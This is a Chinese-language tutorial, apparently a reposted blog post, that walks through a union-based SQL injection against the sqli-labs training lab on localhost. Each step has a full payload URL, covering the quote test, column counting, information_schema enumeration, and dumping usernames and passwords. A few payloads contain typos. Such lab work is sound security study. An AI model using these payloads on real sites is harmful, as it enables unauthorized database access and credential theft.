SQL注入流程圖


http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=1

1 輸入單引號   ‘            進行檢驗是否存在輸入

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=1 ‘

 

 

2 輸入 and 1=2    檢驗是字符型還是數字型

     http://127.0.0.1/sqli-labs-master/Less-2/index.php?  id=1%  and 1=2

報錯,證明是數字型。

 

3 輸入order by        查看這個網站所錯在的表有幾列

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=1 order by 3

使用二分法,如果輸入錯誤則報錯,如果存在就維持原狀。

 

 

4   輸入union select       進行 union select聯合查詢

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2,3 %23

發現有2個輸出位(為了union聯合查詢可以正常運行所以要使前方信息報錯,后邊用%23進行注釋)

 

5  輸入 version()     發現輸出位查詢數據庫版本號

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2,version() %23

  發現版本號為5.5.23(版本號5.0以上會專門生成一個叫information_schema的庫,這個庫里有數據庫中所有表的名字)

 

6   輸入group_concat(table_namefrom information_schema.tables where table_schema = database() %23    查詢數據庫所擁有的表名

 

http://127.0.0.1/sqli-labs-master/Less-2/index.php?id=-1 union select1,2,group_concat

(table_namefrom information_schema.tables where table_schema = database() %23

 

7   輸入group_concat(column_name)%20from information_schema.columns where table_schema = database() and table_name ="users" %23     查詢出users表里的列名

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2,group_concat(column_name)%20from information_schema.columns where table_schema = database() and table_name ="users"%23

 

8     輸入group_concat(username) from security.users  查出users表中username列中 用戶名

   http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2, group_concat(username) from security.users %23

 

9   輸入group_concat(password) from security.users %23  查出user表中的password列中密碼   

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2, group_concat(password) from security.users %23

 

group_concat() 顯示查詢到所有的列

information_schema一個庫

schemata:保存所有數據庫的名字

tables:保存說有表的名字

columns:保存所有字段的名字

感覺不錯的,點個關注,

評論區里留下你們想知道的。下一期給出你們答案。

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM